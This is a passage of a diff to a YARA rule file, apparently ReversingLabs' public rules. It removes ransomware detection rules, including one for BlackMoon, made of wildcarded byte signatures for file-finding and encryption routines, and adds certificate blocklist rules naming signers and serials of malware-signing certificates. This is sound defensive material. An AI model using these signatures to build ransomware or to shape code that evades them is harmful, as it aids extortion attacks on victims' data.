8D 51 ?? 0F 1F 80 ?? ?? ?? ?? 66 8B 01 83 - C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 81 F9 ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? - ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 - 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F - 84 ?? ?? ?? ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 - } - $find_files_v1_p2 = { - 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 - ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 53 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 53 - 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 66 83 - FF ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? EB ?? 66 83 FF ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 66 89 85 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 66 83 FF ?? 75 ?? 8D 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 33 F6 66 66 0F 1F 84 00 - ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? 74 ?? 57 6A ?? 6A ?? 51 E8 ?? ?? - ?? ?? 46 83 C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 57 E8 ?? ?? ?? ?? 8B 75 ?? 83 C4 ?? 56 FF - 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_v1_p1 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 51 53 81 EC ?? ?? ?? ?? 53 56 57 89 65 - ?? 8B F9 89 7D ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 0F 11 85 ?? ?? ?? ?? 0F 11 45 ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 0F 13 45 ?? 66 0F 13 - 45 ?? 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 57 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? - 8B F7 8D 4E ?? 0F 1F 00 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 83 C6 ?? 89 75 - ?? C7 45 ?? ?? ?? ?? ?? 33 C9 8B C6 BA ?? ?? ?? ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 - ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 33 C9 66 89 08 57 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? - ?? ?? ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 8B 75 ?? 56 E8 ?? ?? - ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 56 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B CA - 89 4D ?? 85 C9 0F 8C ?? ?? ?? ?? 7F ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8B F8 89 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? BA ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? - 6A ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 57 FF 75 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8B C8 89 4D ?? 99 8B F0 89 75 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 81 - } - $encrypt_files_v1_p2 = { - F9 ?? ?? ?? ?? 7E ?? B9 ?? ?? ?? ?? 8B F7 8D BD ?? ?? ?? ?? F3 A5 8D 45 ?? 50 8D 45 - ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? FF 75 ?? 8B 7D ?? 57 8B 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 85 ?? - ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 75 ?? 56 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? - 83 C4 ?? EB ?? 51 57 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 45 - ?? 50 8D 85 ?? ?? ?? ?? 50 56 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF - 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 03 C6 89 45 ?? - 8B 4D ?? 13 4D ?? 89 4D ?? 3B 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 45 ?? 0F 82 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? FF 75 ?? E8 ?? - ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 56 51 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 6A ?? 57 E8 ?? ?? ?? ?? 6A ?? 8B D7 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 89 - 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 70 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 56 8B D0 8B - 7D ?? 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 56 8B 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? - 85 FF 74 ?? 8B CF E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 75 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 83 E0 ?? 50 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? - ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D 8B E3 5B C3 - } - $find_files_v2_p1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8B C2 8B D9 89 45 ?? 89 5D ?? 56 57 66 83 - F8 ?? 75 ?? 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B CB 89 45 ?? 83 C4 ?? 66 A1 ?? ?? ?? ?? 66 - 89 45 ?? 8D 51 ?? 66 0F 1F 44 00 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 81 - F9 ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 0F B7 85 ?? ?? ?? ?? 8B F0 8D 48 ?? 8D 46 ?? 66 83 F9 ?? 0F B7 D0 8B CE 8B C6 0F - 47 D0 0F B7 03 0F B7 FA 8B D0 83 C0 ?? 0F B7 D8 66 83 F8 ?? 8B C6 76 ?? 0F B7 F0 83 - FB ?? 8D 42 ?? 0F B7 C8 8B C2 0F 47 C8 66 3B F9 8B 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 8B 5D ?? 83 C4 ?? 0F B7 - 03 8B F0 8B C8 83 C1 ?? 66 83 F9 ?? 8D 46 ?? 0F B7 D0 8B C6 0F 47 D0 0F B7 85 ?? ?? - ?? ?? 8B C8 66 89 13 8D 50 ?? 8D 41 ?? 66 83 FA ?? 0F B7 F0 8B C1 8B CB 0F 47 F0 66 - 89 B5 ?? ?? ?? ?? 8D 51 ?? 0F 1F 00 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 83 - F9 ?? 76 ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? - EB ?? 8B 5D ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 83 C4 ?? 8D 85 ?? ?? ?? - ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B - 8D ?? ?? ?? ?? 8D 41 ?? 66 83 F8 ?? 77 ?? 8D 41 ?? 0F B7 F8 EB ?? 0F B7 F9 0F B7 03 - } - $find_files_v2_p2 = { - 8B F0 8B C8 83 C1 ?? 66 83 F9 ?? 8D 46 ?? 0F B7 D0 8B C6 0F 47 D0 66 3B FA 8B 95 ?? - ?? ?? ?? 75 ?? 83 FA ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 70 ?? 66 8B 08 83 C0 - ?? 66 85 C9 75 ?? 2B C6 D1 F8 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FA ?? 0F 84 ?? ?? - ?? ?? 81 FA ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 C2 ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 8D 85 - ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 - C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D - 4D ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? - ?? ?? ?? 33 C0 53 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 - ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 53 66 89 85 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 66 83 F8 - } - $find_files_v2_p3 = { - 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 51 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? EB ?? 66 83 F8 ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 66 89 85 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 66 83 F8 ?? 75 ?? 8D 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 33 F6 0F 1F 00 - 80 BE ?? ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? 74 ?? 57 6A ?? 6A ?? 51 E8 ?? ?? ?? ?? 46 83 - C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? FF 15 ?? ?? ?? ?? - 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_v2_p1 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 51 53 81 EC ?? ?? ?? ?? 53 56 57 89 65 - ?? 8B F1 89 75 ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 0F 11 85 ?? ?? ?? ?? 0F 11 45 ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 0F 13 45 ?? 66 0F 13 - 45 ?? 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 56 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 8E ?? - ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4E ?? 0F 1F 80 ?? ?? ?? ?? - 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 83 C6 ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? - 33 C9 8B C6 BA ?? ?? ?? ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B - F8 89 7D ?? 33 C0 66 89 07 FF 75 ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 - 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 57 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 8E ?? - ?? ?? ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? - 8B CA 89 4D ?? 85 C9 0F 8C ?? ?? ?? ?? 7F ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 89 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? BA ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 - C4 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 90 68 ?? ?? ?? ?? 57 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 89 - } - $encrypt_files_v2_p2 = { - 4D ?? 99 8B F0 89 75 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 7E ?? B9 ?? - ?? ?? ?? 8B F7 8D BD ?? ?? ?? ?? F3 A5 8D 45 ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 7D ?? - 57 8B 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 75 ?? 56 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 51 57 8D 85 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 - 56 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 - FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 03 C6 89 45 ?? 8B 4D ?? 13 4D ?? 89 4D ?? - 3B 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 45 ?? 0F 82 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF - 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? - ?? ?? 8B F0 89 75 ?? 56 51 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 57 E8 - ?? ?? ?? ?? 6A ?? 8B D7 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? - 8D 70 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 56 8B D0 8B 7D ?? 8B CF E8 ?? ?? ?? ?? - 83 C4 ?? 56 8B 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 8B CF E8 ?? ?? - ?? ?? 8B 45 ?? 85 C0 74 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 56 E8 ?? ?? ?? ?? - 83 C4 ?? 8B 7D ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8B 75 ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? - ?? ?? 83 C4 ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D 8B E3 5B C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOV Intalev Ukraina" and ( pe.signatures [ i ] . serial == "00:e0:14:07:87:1e:21:46:c9:ba:ab:1a:e7:ab:8a:b1:72" or pe.signatures [ i ] . serial == "e0:14:07:87:1e:21:46:c9:ba:ab:1a:e7:ab:8a:b1:72" ) and 1464220800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_Effc6D19D6Fc85872E4E5B3Ccee6D301 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "56114e31-2e9b-5d16-8435-708bbb2687cc" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12856-L12874" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "a746c4193f1264cb96eae0ea85c2c76b5caf3b72ca950f76af426b4d68d210b3" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $manage_gui_p* ) ) and ( ( ( all of ( $find_files_v1_p* ) ) and ( all of ( $encrypt_files_v1_p* ) ) ) or ( ( all of ( $find_files_v2_p* ) ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C\\xC3\\x93IR IP LIMITED" and ( pe.signatures [ i ] . serial == "00:ef:fc:6d:19:d6:fc:85:87:2e:4e:5b:3c:ce:e6:d3:01" or pe.signatures [ i ] . serial == "ef:fc:6d:19:d6:fc:85:87:2e:4e:5b:3c:ce:e6:d3:01" ) and 1572307200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Blackmoon : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2F4A25D52B16Eb4C9Dfe71Ebbd8121Bb : INFO FILE { meta: - description = "Yara rule that detects BlackMoon ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "95ebb6c4-b0c9-5f9a-8424-a2f4d33953eb" - date = "2020-11-11" - modified = "2020-11-11" + id = "1afd5d2b-fd6d-58ca-b966-788d465cd0ed" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlackMoon.yara#L1-L70" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12876-L12892" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "428409096a8637978bf2a1efb3238e4ba87715a909693b0cd26c0f689d567a09" + logic_hash = "7b237ae0574afeafcc05f71512c09d3170edbee20e512a1b0af5b431923dc25c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BlackMoon" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 81 EC ?? ?? ?? ?? 53 8B 9C 24 ?? ?? ?? ?? 55 56 8B 33 57 8B BC 24 ?? ?? ?? ?? 33 ED - 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 76 ?? 85 F6 74 ?? 83 FE ?? 74 ?? 56 FF - 15 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 89 33 74 ?? 8B 84 - 24 ?? ?? ?? ?? 85 C0 74 ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 74 ?? EB ?? 8B 94 24 ?? ?? - ?? ?? 8B 44 24 ?? 85 C2 74 ?? BD ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 74 ?? 85 ED 75 ?? - 8B 84 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 C0 8D 44 24 ?? 50 56 74 ?? FF D7 85 C0 74 - ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 75 ?? 8D 54 24 ?? 52 56 FF D7 85 C0 75 ?? 5F 5E 5D - 33 C0 5B 81 C4 ?? ?? ?? ?? C3 FF D7 85 C0 74 ?? 8B 9C 24 ?? ?? ?? ?? 85 5C 24 ?? 75 - ?? 8D 4C 24 ?? 51 56 FF D7 85 C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 8D 54 24 ?? - 52 E8 ?? ?? ?? ?? 40 50 E8 ?? ?? ?? ?? 8B D0 8D 7C 24 ?? 83 C9 ?? 33 C0 83 C4 ?? F2 - AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 ?? F3 A5 8B C8 8B C2 83 E1 ?? F3 A4 5F 5E 5D - 5B 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? - B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? DB - 45 ?? DD 5D ?? DD 45 ?? DB 45 ?? DD 5D ?? DC 65 ?? DD 5D ?? DD 45 ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B - 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D - ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 